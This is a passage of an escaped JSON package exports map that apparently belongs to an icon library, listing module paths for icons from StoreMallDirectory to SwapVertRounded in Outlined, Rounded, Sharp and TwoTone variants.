\"./StoreMallDirectory.mjs\",\n      \"require\": \"./StoreMallDirectory.js\",\n      \"default\": \"./StoreMallDirectory.mjs\"\n    },\n    \"./StoreMallDirectoryOutlined\": {\n      \"import\": \"./StoreMallDirectoryOutlined.mjs\",\n      \"require\": \"./StoreMallDirectoryOutlined.js\",\n      \"default\": \"./StoreMallDirectoryOutlined.mjs\"\n    },\n    \"./StoreMallDirectoryRounded\": {\n      \"import\": \"./StoreMallDirectoryRounded.mjs\",\n      \"require\": \"./StoreMallDirectoryRounded.js\",\n      \"default\": \"./StoreMallDirectoryRounded.mjs\"\n    },\n    \"./StoreMallDirectorySharp\": {\n      \"import\": \"./StoreMallDirectorySharp.mjs\",\n      \"require\": \"./StoreMallDirectorySharp.js\",\n      \"default\": \"./StoreMallDirectorySharp.mjs\"\n    },\n    \"./StoreMallDirectoryTwoTone\": {\n      \"import\": \"./StoreMallDirectoryTwoTone.mjs\",\n      \"require\": \"./StoreMallDirectoryTwoTone.js\",\n      \"default\": \"./StoreMallDirectoryTwoTone.mjs\"\n    },\n    \"./StoreOutlined\": {\n      \"import\": \"./StoreOutlined.mjs\",\n      \"require\": \"./StoreOutlined.js\",\n      \"default\": \"./StoreOutlined.mjs\"\n    },\n    \"./StoreRounded\": {\n      \"import\": \"./StoreRounded.mjs\",\n      \"require\": \"./StoreRounded.js\",\n      \"default\": \"./StoreRounded.mjs\"\n    },\n    \"./StoreSharp\": {\n      \"import\": \"./StoreSharp.mjs\",\n      \"require\": \"./StoreSharp.js\",\n      \"default\": \"./StoreSharp.mjs\"\n    },\n    \"./StoreTwoTone\": {\n      \"import\": \"./StoreTwoTone.mjs\",\n      \"require\": \"./StoreTwoTone.js\",\n      \"default\": \"./StoreTwoTone.mjs\"\n    },\n    \"./Storefront\": {\n      \"import\": \"./Storefront.mjs\",\n      \"require\": \"./Storefront.js\",\n      \"default\": \"./Storefront.mjs\"\n    },\n    \"./StorefrontOutlined\": {\n      \"import\": \"./StorefrontOutlined.mjs\",\n      \"require\": \"./StorefrontOutlined.js\",\n      \"default\": \"./StorefrontOutlined.mjs\"\n    },\n    \"./StorefrontRounded\": {\n      \"import\": \"./StorefrontRounded.mjs\",\n      \"require\": \"./StorefrontRounded.js\",\n      \"default\": \"./StorefrontRounded.mjs\"\n    },\n    \"./StorefrontSharp\": {\n      \"import\": \"./StorefrontSharp.mjs\",\n      \"require\": \"./StorefrontSharp.js\",\n      \"default\": \"./StorefrontSharp.mjs\"\n    },\n    \"./StorefrontTwoTone\": {\n      \"import\": \"./StorefrontTwoTone.mjs\",\n      \"require\": \"./StorefrontTwoTone.js\",\n      \"default\": \"./StorefrontTwoTone.mjs\"\n    },\n    \"./Storm\": {\n      \"import\": \"./Storm.mjs\",\n      \"require\": \"./Storm.js\",\n      \"default\": \"./Storm.mjs\"\n    },\n    \"./StormOutlined\": {\n      \"import\": \"./StormOutlined.mjs\",\n      \"require\": \"./StormOutlined.js\",\n      \"default\": \"./StormOutlined.mjs\"\n    },\n    \"./StormRounded\": {\n      \"import\": \"./StormRounded.mjs\",\n      \"require\": \"./StormRounded.js\",\n      \"default\": \"./StormRounded.mjs\"\n    },\n    \"./StormSharp\": {\n      \"import\": \"./StormSharp.mjs\",\n      \"require\": \"./StormSharp.js\",\n      \"default\": \"./StormSharp.mjs\"\n    },\n    \"./StormTwoTone\": {\n      \"import\": \"./StormTwoTone.mjs\",\n      \"require\": \"./StormTwoTone.js\",\n      \"default\": \"./StormTwoTone.mjs\"\n    },\n    \"./Straight\": {\n      \"import\": \"./Straight.mjs\",\n      \"require\": \"./Straight.js\",\n      \"default\": \"./Straight.mjs\"\n    },\n    \"./StraightOutlined\": {\n      \"import\": \"./StraightOutlined.mjs\",\n      \"require\": \"./StraightOutlined.js\",\n      \"default\": \"./StraightOutlined.mjs\"\n    },\n    \"./StraightRounded\": {\n      \"import\": \"./StraightRounded.mjs\",\n      \"require\": \"./StraightRounded.js\",\n      \"default\": \"./StraightRounded.mjs\"\n    },\n    \"./StraightSharp\": {\n      \"import\": \"./StraightSharp.mjs\",\n      \"require\": \"./StraightSharp.js\",\n      \"default\": \"./StraightSharp.mjs\"\n    },\n    \"./StraightTwoTone\": {\n      \"import\": \"./StraightTwoTone.mjs\",\n      \"require\": \"./StraightTwoTone.js\",\n      \"default\": \"./StraightTwoTone.mjs\"\n    },\n    \"./Straighten\": {\n      \"import\": \"./Straighten.mjs\",\n      \"require\": \"./Straighten.js\",\n      \"default\": \"./Straighten.mjs\"\n    },\n    \"./StraightenOutlined\": {\n      \"import\": \"./StraightenOutlined.mjs\",\n      \"require\": \"./StraightenOutlined.js\",\n      \"default\": \"./StraightenOutlined.mjs\"\n    },\n    \"./StraightenRounded\": {\n      \"import\": \"./StraightenRounded.mjs\",\n      \"require\": \"./StraightenRounded.js\",\n      \"default\": \"./StraightenRounded.mjs\"\n    },\n    \"./StraightenSharp\": {\n      \"import\": \"./StraightenSharp.mjs\",\n      \"require\": \"./StraightenSharp.js\",\n      \"default\": \"./StraightenSharp.mjs\"\n    },\n    \"./StraightenTwoTone\": {\n      \"require\": \"./StraightenTwoTone.js\",\n      \"import\": \"./StraightenTwoTone.mjs\",\n      \"default\": \"./StraightenTwoTone.mjs\"\n    },\n    \"./Stream\": {\n      \"require\": \"./Stream.js\",\n      \"import\": \"./Stream.mjs\",\n      \"default\": \"./Stream.mjs\"\n    },\n    \"./StreamOutlined\": {\n      \"require\": \"./StreamOutlined.js\",\n      \"import\": \"./StreamOutlined.mjs\",\n      \"default\": \"./StreamOutlined.mjs\"\n    },\n    \"./StreamRounded\": {\n      \"require\": \"./StreamRounded.js\",\n      \"import\": \"./StreamRounded.mjs\",\n      \"default\": \"./StreamRounded.mjs\"\n    },\n    \"./StreamSharp\": {\n      \"require\": \"./StreamSharp.js\",\n      \"import\": \"./StreamSharp.mjs\",\n      \"default\": \"./StreamSharp.mjs\"\n    },\n    \"./StreamTwoTone\": {\n      \"require\": \"./StreamTwoTone.js\",\n      \"import\": \"./StreamTwoTone.mjs\",\n      \"default\": \"./StreamTwoTone.mjs\"\n    },\n    \"./Streetview\": {\n      \"require\": \"./Streetview.js\",\n      \"import\": \"./Streetview.mjs\",\n      \"default\": \"./Streetview.mjs\"\n    },\n    \"./StreetviewOutlined\": {\n      \"require\": \"./StreetviewOutlined.js\",\n      \"import\": \"./StreetviewOutlined.mjs\",\n      \"default\": \"./StreetviewOutlined.mjs\"\n    },\n    \"./StreetviewRounded\": {\n      \"require\": \"./StreetviewRounded.js\",\n      \"import\": \"./StreetviewRounded.mjs\",\n      \"default\": \"./StreetviewRounded.mjs\"\n    },\n    \"./StreetviewSharp\": {\n      \"require\": \"./StreetviewSharp.js\",\n      \"import\": \"./StreetviewSharp.mjs\",\n      \"default\": \"./StreetviewSharp.mjs\"\n    },\n    \"./StreetviewTwoTone\": {\n      \"require\": \"./StreetviewTwoTone.js\",\n      \"import\": \"./StreetviewTwoTone.mjs\",\n      \"default\": \"./StreetviewTwoTone.mjs\"\n    },\n    \"./StrikethroughS\": {\n      \"require\": \"./StrikethroughS.js\",\n      \"import\": \"./StrikethroughS.mjs\",\n      \"default\": \"./StrikethroughS.mjs\"\n    },\n    \"./StrikethroughSOutlined\": {\n      \"require\": \"./StrikethroughSOutlined.js\",\n      \"import\": \"./StrikethroughSOutlined.mjs\",\n      \"default\": \"./StrikethroughSOutlined.mjs\"\n    },\n    \"./StrikethroughSRounded\": {\n      \"require\": \"./StrikethroughSRounded.js\",\n      \"import\": \"./StrikethroughSRounded.mjs\",\n      \"default\": \"./StrikethroughSRounded.mjs\"\n    },\n    \"./StrikethroughSSharp\": {\n      \"require\": \"./StrikethroughSSharp.js\",\n      \"import\": \"./StrikethroughSSharp.mjs\",\n      \"default\": \"./StrikethroughSSharp.mjs\"\n    },\n    \"./StrikethroughSTwoTone\": {\n      \"require\": \"./StrikethroughSTwoTone.js\",\n      \"import\": \"./StrikethroughSTwoTone.mjs\",\n      \"default\": \"./StrikethroughSTwoTone.mjs\"\n    },\n    \"./Stroller\": {\n      \"require\": \"./Stroller.js\",\n      \"import\": \"./Stroller.mjs\",\n      \"default\": \"./Stroller.mjs\"\n    },\n    \"./StrollerOutlined\": {\n      \"import\": \"./StrollerOutlined.mjs\",\n      \"require\": \"./StrollerOutlined.js\",\n      \"default\": \"./StrollerOutlined.mjs\"\n    },\n    \"./StrollerRounded\": {\n      \"import\": \"./StrollerRounded.mjs\",\n      \"require\": \"./StrollerRounded.js\",\n      \"default\": \"./StrollerRounded.mjs\"\n    },\n    \"./StrollerSharp\": {\n      \"require\": \"./StrollerSharp.js\",\n      \"import\": \"./StrollerSharp.mjs\",\n      \"default\": \"./StrollerSharp.mjs\"\n    },\n    \"./StrollerTwoTone\": {\n      \"require\": \"./StrollerTwoTone.js\",\n      \"import\": \"./StrollerTwoTone.mjs\",\n      \"default\": \"./StrollerTwoTone.mjs\"\n    },\n    \"./Style\": {\n      \"require\": \"./Style.js\",\n      \"import\": \"./Style.mjs\",\n      \"default\": \"./Style.mjs\"\n    },\n    \"./StyleOutlined\": {\n      \"require\": \"./StyleOutlined.js\",\n      \"import\": \"./StyleOutlined.mjs\",\n      \"default\": \"./StyleOutlined.mjs\"\n    },\n    \"./StyleRounded\": {\n      \"require\": \"./StyleRounded.js\",\n      \"import\": \"./StyleRounded.mjs\",\n      \"default\": \"./StyleRounded.mjs\"\n    },\n    \"./StyleSharp\": {\n      \"require\": \"./StyleSharp.js\",\n      \"import\": \"./StyleSharp.mjs\",\n      \"default\": \"./StyleSharp.mjs\"\n    },\n    \"./StyleTwoTone\": {\n      \"require\": \"./StyleTwoTone.js\",\n      \"import\": \"./StyleTwoTone.mjs\",\n      \"default\": \"./StyleTwoTone.mjs\"\n    },\n    \"./SubdirectoryArrowLeft\": {\n      \"require\": \"./SubdirectoryArrowLeft.js\",\n      \"import\": \"./SubdirectoryArrowLeft.mjs\",\n      \"default\": \"./SubdirectoryArrowLeft.mjs\"\n    },\n    \"./SubdirectoryArrowLeftOutlined\": {\n      \"require\": \"./SubdirectoryArrowLeftOutlined.js\",\n      \"import\": \"./SubdirectoryArrowLeftOutlined.mjs\",\n      \"default\": \"./SubdirectoryArrowLeftOutlined.mjs\"\n    },\n    \"./SubdirectoryArrowLeftRounded\": {\n      \"require\": \"./SubdirectoryArrowLeftRounded.js\",\n      \"import\": \"./SubdirectoryArrowLeftRounded.mjs\",\n      \"default\": \"./SubdirectoryArrowLeftRounded.mjs\"\n    },\n    \"./SubdirectoryArrowLeftSharp\": {\n      \"require\": \"./SubdirectoryArrowLeftSharp.js\",\n      \"import\": \"./SubdirectoryArrowLeftSharp.mjs\",\n      \"default\": \"./SubdirectoryArrowLeftSharp.mjs\"\n    },\n    \"./SubdirectoryArrowLeftTwoTone\": {\n      \"require\": \"./SubdirectoryArrowLeftTwoTone.js\",\n      \"import\": \"./SubdirectoryArrowLeftTwoTone.mjs\",\n      \"default\": \"./SubdirectoryArrowLeftTwoTone.mjs\"\n    },\n    \"./SubdirectoryArrowRight\": {\n      \"require\": \"./SubdirectoryArrowRight.js\",\n      \"import\": \"./SubdirectoryArrowRight.mjs\",\n      \"default\": \"./SubdirectoryArrowRight.mjs\"\n    },\n    \"./SubdirectoryArrowRightOutlined\": {\n      \"require\": \"./SubdirectoryArrowRightOutlined.js\",\n      \"import\": \"./SubdirectoryArrowRightOutlined.mjs\",\n      \"default\": \"./SubdirectoryArrowRightOutlined.mjs\"\n    },\n    \"./SubdirectoryArrowRightRounded\": {\n      \"require\": \"./SubdirectoryArrowRightRounded.js\",\n      \"import\": \"./SubdirectoryArrowRightRounded.mjs\",\n      \"default\": \"./SubdirectoryArrowRightRounded.mjs\"\n    },\n    \"./SubdirectoryArrowRightSharp\": {\n      \"require\": \"./SubdirectoryArrowRightSharp.js\",\n      \"import\": \"./SubdirectoryArrowRightSharp.mjs\",\n      \"default\": \"./SubdirectoryArrowRightSharp.mjs\"\n    },\n    \"./SubdirectoryArrowRightTwoTone\": {\n      \"require\": \"./SubdirectoryArrowRightTwoTone.js\",\n      \"import\": \"./SubdirectoryArrowRightTwoTone.mjs\",\n      \"default\": \"./SubdirectoryArrowRightTwoTone.mjs\"\n    },\n    \"./Subject\": {\n      \"require\": \"./Subject.js\",\n      \"import\": \"./Subject.mjs\",\n      \"default\": \"./Subject.mjs\"\n    },\n    \"./SubjectOutlined\": {\n      \"require\": \"./SubjectOutlined.js\",\n      \"import\": \"./SubjectOutlined.mjs\",\n      \"default\": \"./SubjectOutlined.mjs\"\n    },\n    \"./SubjectRounded\": {\n      \"require\": \"./SubjectRounded.js\",\n      \"import\": \"./SubjectRounded.mjs\",\n      \"default\": \"./SubjectRounded.mjs\"\n    },\n    \"./SubjectSharp\": {\n      \"require\": \"./SubjectSharp.js\",\n      \"import\": \"./SubjectSharp.mjs\",\n      \"default\": \"./SubjectSharp.mjs\"\n    },\n    \"./SubjectTwoTone\": {\n      \"require\": \"./SubjectTwoTone.js\",\n      \"import\": \"./SubjectTwoTone.mjs\",\n      \"default\": \"./SubjectTwoTone.mjs\"\n    },\n    \"./Subscript\": {\n      \"require\": \"./Subscript.js\",\n      \"import\": \"./Subscript.mjs\",\n      \"default\": \"./Subscript.mjs\"\n    },\n    \"./SubscriptOutlined\": {\n      \"require\": \"./SubscriptOutlined.js\",\n      \"import\": \"./SubscriptOutlined.mjs\",\n      \"default\": \"./SubscriptOutlined.mjs\"\n    },\n    \"./SubscriptRounded\": {\n      \"require\": \"./SubscriptRounded.js\",\n      \"import\": \"./SubscriptRounded.mjs\",\n      \"default\": \"./SubscriptRounded.mjs\"\n    },\n    \"./SubscriptSharp\": {\n      \"require\": \"./SubscriptSharp.js\",\n      \"import\": \"./SubscriptSharp.mjs\",\n      \"default\": \"./SubscriptSharp.mjs\"\n    },\n    \"./SubscriptTwoTone\": {\n      \"require\": \"./SubscriptTwoTone.js\",\n      \"import\": \"./SubscriptTwoTone.mjs\",\n      \"default\": \"./SubscriptTwoTone.mjs\"\n    },\n    \"./Subscriptions\": {\n      \"require\": \"./Subscriptions.js\",\n      \"import\": \"./Subscriptions.mjs\",\n      \"default\": \"./Subscriptions.mjs\"\n    },\n    \"./SubscriptionsOutlined\": {\n      \"require\": \"./SubscriptionsOutlined.js\",\n      \"import\": \"./SubscriptionsOutlined.mjs\",\n      \"default\": \"./SubscriptionsOutlined.mjs\"\n    },\n    \"./SubscriptionsRounded\": {\n      \"require\": \"./SubscriptionsRounded.js\",\n      \"import\": \"./SubscriptionsRounded.mjs\",\n      \"default\": \"./SubscriptionsRounded.mjs\"\n    },\n    \"./SubscriptionsSharp\": {\n      \"import\": \"./SubscriptionsSharp.mjs\",\n      \"require\": \"./SubscriptionsSharp.js\",\n      \"default\": \"./SubscriptionsSharp.mjs\"\n    },\n    \"./SubscriptionsTwoTone\": {\n      \"import\": \"./SubscriptionsTwoTone.mjs\",\n      \"require\": \"./SubscriptionsTwoTone.js\",\n      \"default\": \"./SubscriptionsTwoTone.mjs\"\n    },\n    \"./Subtitles\": {\n      \"import\": \"./Subtitles.mjs\",\n      \"require\": \"./Subtitles.js\",\n      \"default\": \"./Subtitles.mjs\"\n    },\n    \"./SubtitlesOff\": {\n      \"import\": \"./SubtitlesOff.mjs\",\n      \"require\": \"./SubtitlesOff.js\",\n      \"default\": \"./SubtitlesOff.mjs\"\n    },\n    \"./SubtitlesOffOutlined\": {\n      \"import\": \"./SubtitlesOffOutlined.mjs\",\n      \"require\": \"./SubtitlesOffOutlined.js\",\n      \"default\": \"./SubtitlesOffOutlined.mjs\"\n    },\n    \"./SubtitlesOffRounded\": {\n      \"import\": \"./SubtitlesOffRounded.mjs\",\n      \"require\": \"./SubtitlesOffRounded.js\",\n      \"default\": \"./SubtitlesOffRounded.mjs\"\n    },\n    \"./SubtitlesOffSharp\": {\n      \"import\": \"./SubtitlesOffSharp.mjs\",\n      \"require\": \"./SubtitlesOffSharp.js\",\n      \"default\": \"./SubtitlesOffSharp.mjs\"\n    },\n    \"./SubtitlesOffTwoTone\": {\n      \"import\": \"./SubtitlesOffTwoTone.mjs\",\n      \"require\": \"./SubtitlesOffTwoTone.js\",\n      \"default\": \"./SubtitlesOffTwoTone.mjs\"\n    },\n    \"./SubtitlesOutlined\": {\n      \"import\": \"./SubtitlesOutlined.mjs\",\n      \"require\": \"./SubtitlesOutlined.js\",\n      \"default\": \"./SubtitlesOutlined.mjs\"\n    },\n    \"./SubtitlesRounded\": {\n      \"import\": \"./SubtitlesRounded.mjs\",\n      \"require\": \"./SubtitlesRounded.js\",\n      \"default\": \"./SubtitlesRounded.mjs\"\n    },\n    \"./SubtitlesSharp\": {\n      \"import\": \"./SubtitlesSharp.mjs\",\n      \"require\": \"./SubtitlesSharp.js\",\n      \"default\": \"./SubtitlesSharp.mjs\"\n    },\n    \"./SubtitlesTwoTone\": {\n      \"import\": \"./SubtitlesTwoTone.mjs\",\n      \"require\": \"./SubtitlesTwoTone.js\",\n      \"default\": \"./SubtitlesTwoTone.mjs\"\n    },\n    \"./Subway\": {\n      \"import\": \"./Subway.mjs\",\n      \"require\": \"./Subway.js\",\n      \"default\": \"./Subway.mjs\"\n    },\n    \"./SubwayOutlined\": {\n      \"import\": \"./SubwayOutlined.mjs\",\n      \"require\": \"./SubwayOutlined.js\",\n      \"default\": \"./SubwayOutlined.mjs\"\n    },\n    \"./SubwayRounded\": {\n      \"import\": \"./SubwayRounded.mjs\",\n      \"require\": \"./SubwayRounded.js\",\n      \"default\": \"./SubwayRounded.mjs\"\n    },\n    \"./SubwaySharp\": {\n      \"import\": \"./SubwaySharp.mjs\",\n      \"require\": \"./SubwaySharp.js\",\n      \"default\": \"./SubwaySharp.mjs\"\n    },\n    \"./SubwayTwoTone\": {\n      \"import\": \"./SubwayTwoTone.mjs\",\n      \"require\": \"./SubwayTwoTone.js\",\n      \"default\": \"./SubwayTwoTone.mjs\"\n    },\n    \"./Summarize\": {\n      \"require\": \"./Summarize.js\",\n      \"import\": \"./Summarize.mjs\",\n      \"default\": \"./Summarize.mjs\"\n    },\n    \"./SummarizeOutlined\": {\n      \"require\": \"./SummarizeOutlined.js\",\n      \"import\": \"./SummarizeOutlined.mjs\",\n      \"default\": \"./SummarizeOutlined.mjs\"\n    },\n    \"./SummarizeRounded\": {\n      \"require\": \"./SummarizeRounded.js\",\n      \"import\": \"./SummarizeRounded.mjs\",\n      \"default\": \"./SummarizeRounded.mjs\"\n    },\n    \"./SummarizeSharp\": {\n      \"require\": \"./SummarizeSharp.js\",\n      \"import\": \"./SummarizeSharp.mjs\",\n      \"default\": \"./SummarizeSharp.mjs\"\n    },\n    \"./SummarizeTwoTone\": {\n      \"require\": \"./SummarizeTwoTone.js\",\n      \"import\": \"./SummarizeTwoTone.mjs\",\n      \"default\": \"./SummarizeTwoTone.mjs\"\n    },\n    \"./Sunny\": {\n      \"require\": \"./Sunny.js\",\n      \"import\": \"./Sunny.mjs\",\n      \"default\": \"./Sunny.mjs\"\n    },\n    \"./SunnySnowing\": {\n      \"require\": \"./SunnySnowing.js\",\n      \"import\": \"./SunnySnowing.mjs\",\n      \"default\": \"./SunnySnowing.mjs\"\n    },\n    \"./Superscript\": {\n      \"require\": \"./Superscript.js\",\n      \"import\": \"./Superscript.mjs\",\n      \"default\": \"./Superscript.mjs\"\n    },\n    \"./SuperscriptOutlined\": {\n      \"require\": \"./SuperscriptOutlined.js\",\n      \"import\": \"./SuperscriptOutlined.mjs\",\n      \"default\": \"./SuperscriptOutlined.mjs\"\n    },\n    \"./SuperscriptRounded\": {\n      \"require\": \"./SuperscriptRounded.js\",\n      \"import\": \"./SuperscriptRounded.mjs\",\n      \"default\": \"./SuperscriptRounded.mjs\"\n    },\n    \"./SuperscriptSharp\": {\n      \"require\": \"./SuperscriptSharp.js\",\n      \"import\": \"./SuperscriptSharp.mjs\",\n      \"default\": \"./SuperscriptSharp.mjs\"\n    },\n    \"./SuperscriptTwoTone\": {\n      \"require\": \"./SuperscriptTwoTone.js\",\n      \"import\": \"./SuperscriptTwoTone.mjs\",\n      \"default\": \"./SuperscriptTwoTone.mjs\"\n    },\n    \"./SupervisedUserCircle\": {\n      \"require\": \"./SupervisedUserCircle.js\",\n      \"import\": \"./SupervisedUserCircle.mjs\",\n      \"default\": \"./SupervisedUserCircle.mjs\"\n    },\n    \"./SupervisedUserCircleOutlined\": {\n      \"require\": \"./SupervisedUserCircleOutlined.js\",\n      \"import\": \"./SupervisedUserCircleOutlined.mjs\",\n      \"default\": \"./SupervisedUserCircleOutlined.mjs\"\n    },\n    \"./SupervisedUserCircleRounded\": {\n      \"require\": \"./SupervisedUserCircleRounded.js\",\n      \"import\": \"./SupervisedUserCircleRounded.mjs\",\n      \"default\": \"./SupervisedUserCircleRounded.mjs\"\n    },\n    \"./SupervisedUserCircleSharp\": {\n      \"require\": \"./SupervisedUserCircleSharp.js\",\n      \"import\": \"./SupervisedUserCircleSharp.mjs\",\n      \"default\": \"./SupervisedUserCircleSharp.mjs\"\n    },\n    \"./SupervisedUserCircleTwoTone\": {\n      \"require\": \"./SupervisedUserCircleTwoTone.js\",\n      \"import\": \"./SupervisedUserCircleTwoTone.mjs\",\n      \"default\": \"./SupervisedUserCircleTwoTone.mjs\"\n    },\n    \"./SupervisorAccount\": {\n      \"require\": \"./SupervisorAccount.js\",\n      \"import\": \"./SupervisorAccount.mjs\",\n      \"default\": \"./SupervisorAccount.mjs\"\n    },\n    \"./SupervisorAccountOutlined\": {\n      \"import\": \"./SupervisorAccountOutlined.mjs\",\n      \"require\": \"./SupervisorAccountOutlined.js\",\n      \"default\": \"./SupervisorAccountOutlined.mjs\"\n    },\n    \"./SupervisorAccountRounded\": {\n      \"import\": \"./SupervisorAccountRounded.mjs\",\n      \"require\": \"./SupervisorAccountRounded.js\",\n      \"default\": \"./SupervisorAccountRounded.mjs\"\n    },\n    \"./SupervisorAccountSharp\": {\n      \"import\": \"./SupervisorAccountSharp.mjs\",\n      \"require\": \"./SupervisorAccountSharp.js\",\n      \"default\": \"./SupervisorAccountSharp.mjs\"\n    },\n    \"./SupervisorAccountTwoTone\": {\n      \"import\": \"./SupervisorAccountTwoTone.mjs\",\n      \"require\": \"./SupervisorAccountTwoTone.js\",\n      \"default\": \"./SupervisorAccountTwoTone.mjs\"\n    },\n    \"./Support\": {\n      \"import\": \"./Support.mjs\",\n      \"require\": \"./Support.js\",\n      \"default\": \"./Support.mjs\"\n    },\n    \"./SupportAgent\": {\n      \"import\": \"./SupportAgent.mjs\",\n      \"require\": \"./SupportAgent.js\",\n      \"default\": \"./SupportAgent.mjs\"\n    },\n    \"./SupportAgentOutlined\": {\n      \"import\": \"./SupportAgentOutlined.mjs\",\n      \"require\": \"./SupportAgentOutlined.js\",\n      \"default\": \"./SupportAgentOutlined.mjs\"\n    },\n    \"./SupportAgentRounded\": {\n      \"import\": \"./SupportAgentRounded.mjs\",\n      \"require\": \"./SupportAgentRounded.js\",\n      \"default\": \"./SupportAgentRounded.mjs\"\n    },\n    \"./SupportAgentSharp\": {\n      \"import\": \"./SupportAgentSharp.mjs\",\n      \"require\": \"./SupportAgentSharp.js\",\n      \"default\": \"./SupportAgentSharp.mjs\"\n    },\n    \"./SupportAgentTwoTone\": {\n      \"import\": \"./SupportAgentTwoTone.mjs\",\n      \"require\": \"./SupportAgentTwoTone.js\",\n      \"default\": \"./SupportAgentTwoTone.mjs\"\n    },\n    \"./SupportOutlined\": {\n      \"import\": \"./SupportOutlined.mjs\",\n      \"require\": \"./SupportOutlined.js\",\n      \"default\": \"./SupportOutlined.mjs\"\n    },\n    \"./SupportRounded\": {\n      \"import\": \"./SupportRounded.mjs\",\n      \"require\": \"./SupportRounded.js\",\n      \"default\": \"./SupportRounded.mjs\"\n    },\n    \"./SupportSharp\": {\n      \"import\": \"./SupportSharp.mjs\",\n      \"require\": \"./SupportSharp.js\",\n      \"default\": \"./SupportSharp.mjs\"\n    },\n    \"./SupportTwoTone\": {\n      \"import\": \"./SupportTwoTone.mjs\",\n      \"require\": \"./SupportTwoTone.js\",\n      \"default\": \"./SupportTwoTone.mjs\"\n    },\n    \"./Surfing\": {\n      \"require\": \"./Surfing.js\",\n      \"import\": \"./Surfing.mjs\",\n      \"default\": \"./Surfing.mjs\"\n    },\n    \"./SurfingOutlined\": {\n      \"require\": \"./SurfingOutlined.js\",\n      \"import\": \"./SurfingOutlined.mjs\",\n      \"default\": \"./SurfingOutlined.mjs\"\n    },\n    \"./SurfingRounded\": {\n      \"require\": \"./SurfingRounded.js\",\n      \"import\": \"./SurfingRounded.mjs\",\n      \"default\": \"./SurfingRounded.mjs\"\n    },\n    \"./SurfingSharp\": {\n      \"require\": \"./SurfingSharp.js\",\n      \"import\": \"./SurfingSharp.mjs\",\n      \"default\": \"./SurfingSharp.mjs\"\n    },\n    \"./SurfingTwoTone\": {\n      \"require\": \"./SurfingTwoTone.js\",\n      \"import\": \"./SurfingTwoTone.mjs\",\n      \"default\": \"./SurfingTwoTone.mjs\"\n    },\n    \"./SurroundSound\": {\n      \"require\": \"./SurroundSound.js\",\n      \"import\": \"./SurroundSound.mjs\",\n      \"default\": \"./SurroundSound.mjs\"\n    },\n    \"./SurroundSoundOutlined\": {\n      \"require\": \"./SurroundSoundOutlined.js\",\n      \"import\": \"./SurroundSoundOutlined.mjs\",\n      \"default\": \"./SurroundSoundOutlined.mjs\"\n    },\n    \"./SurroundSoundRounded\": {\n      \"require\": \"./SurroundSoundRounded.js\",\n      \"import\": \"./SurroundSoundRounded.mjs\",\n      \"default\": \"./SurroundSoundRounded.mjs\"\n    },\n    \"./SurroundSoundSharp\": {\n      \"require\": \"./SurroundSoundSharp.js\",\n      \"import\": \"./SurroundSoundSharp.mjs\",\n      \"default\": \"./SurroundSoundSharp.mjs\"\n    },\n    \"./SurroundSoundTwoTone\": {\n      \"require\": \"./SurroundSoundTwoTone.js\",\n      \"import\": \"./SurroundSoundTwoTone.mjs\",\n      \"default\": \"./SurroundSoundTwoTone.mjs\"\n    },\n    \"./SwapCalls\": {\n      \"require\": \"./SwapCalls.js\",\n      \"import\": \"./SwapCalls.mjs\",\n      \"default\": \"./SwapCalls.mjs\"\n    },\n    \"./SwapCallsOutlined\": {\n      \"require\": \"./SwapCallsOutlined.js\",\n      \"import\": \"./SwapCallsOutlined.mjs\",\n      \"default\": \"./SwapCallsOutlined.mjs\"\n    },\n    \"./SwapCallsRounded\": {\n      \"require\": \"./SwapCallsRounded.js\",\n      \"import\": \"./SwapCallsRounded.mjs\",\n      \"default\": \"./SwapCallsRounded.mjs\"\n    },\n    \"./SwapCallsSharp\": {\n      \"require\": \"./SwapCallsSharp.js\",\n      \"import\": \"./SwapCallsSharp.mjs\",\n      \"default\": \"./SwapCallsSharp.mjs\"\n    },\n    \"./SwapCallsTwoTone\": {\n      \"require\": \"./SwapCallsTwoTone.js\",\n      \"import\": \"./SwapCallsTwoTone.mjs\",\n      \"default\": \"./SwapCallsTwoTone.mjs\"\n    },\n    \"./SwapHoriz\": {\n      \"require\": \"./SwapHoriz.js\",\n      \"import\": \"./SwapHoriz.mjs\",\n      \"default\": \"./SwapHoriz.mjs\"\n    },\n    \"./SwapHorizOutlined\": {\n      \"require\": \"./SwapHorizOutlined.js\",\n      \"import\": \"./SwapHorizOutlined.mjs\",\n      \"default\": \"./SwapHorizOutlined.mjs\"\n    },\n    \"./SwapHorizRounded\": {\n      \"require\": \"./SwapHorizRounded.js\",\n      \"import\": \"./SwapHorizRounded.mjs\",\n      \"default\": \"./SwapHorizRounded.mjs\"\n    },\n    \"./SwapHorizSharp\": {\n      \"require\": \"./SwapHorizSharp.js\",\n      \"import\": \"./SwapHorizSharp.mjs\",\n      \"default\": \"./SwapHorizSharp.mjs\"\n    },\n    \"./SwapHorizTwoTone\": {\n      \"require\": \"./SwapHorizTwoTone.js\",\n      \"import\": \"./SwapHorizTwoTone.mjs\",\n      \"default\": \"./SwapHorizTwoTone.mjs\"\n    },\n    \"./SwapHorizontalCircle\": {\n      \"require\": \"./SwapHorizontalCircle.js\",\n      \"import\": \"./SwapHorizontalCircle.mjs\",\n      \"default\": \"./SwapHorizontalCircle.mjs\"\n    },\n    \"./SwapHorizontalCircleOutlined\": {\n      \"require\": \"./SwapHorizontalCircleOutlined.js\",\n      \"import\": \"./SwapHorizontalCircleOutlined.mjs\",\n      \"default\": \"./SwapHorizontalCircleOutlined.mjs\"\n    },\n    \"./SwapHorizontalCircleRounded\": {\n      \"require\": \"./SwapHorizontalCircleRounded.js\",\n      \"import\": \"./SwapHorizontalCircleRounded.mjs\",\n      \"default\": \"./SwapHorizontalCircleRounded.mjs\"\n    },\n    \"./SwapHorizontalCircleSharp\": {\n      \"require\": \"./SwapHorizontalCircleSharp.js\",\n      \"import\": \"./SwapHorizontalCircleSharp.mjs\",\n      \"default\": \"./SwapHorizontalCircleSharp.mjs\"\n    },\n    \"./SwapHorizontalCircleTwoTone\": {\n      \"import\": \"./SwapHorizontalCircleTwoTone.mjs\",\n      \"require\": \"./SwapHorizontalCircleTwoTone.js\",\n      \"default\": \"./SwapHorizontalCircleTwoTone.mjs\"\n    },\n    \"./SwapVert\": {\n      \"import\": \"./SwapVert.mjs\",\n      \"require\": \"./SwapVert.js\",\n      \"default\": \"./SwapVert.mjs\"\n    },\n    \"./SwapVertOutlined\": {\n      \"import\": \"./SwapVertOutlined.mjs\",\n      \"require\": \"./SwapVertOutlined.js\",\n      \"default\": \"./SwapVertOutlined.mjs\"\n    },\n    \"./SwapVertRounded\": {\n      \"import\": \"./SwapVertRounded.mjs\",\n      \"require\": \"./SwapVertRounded.js\",\n      \"default\": \"./SwapVertRounded.mjs\"\n    },\n    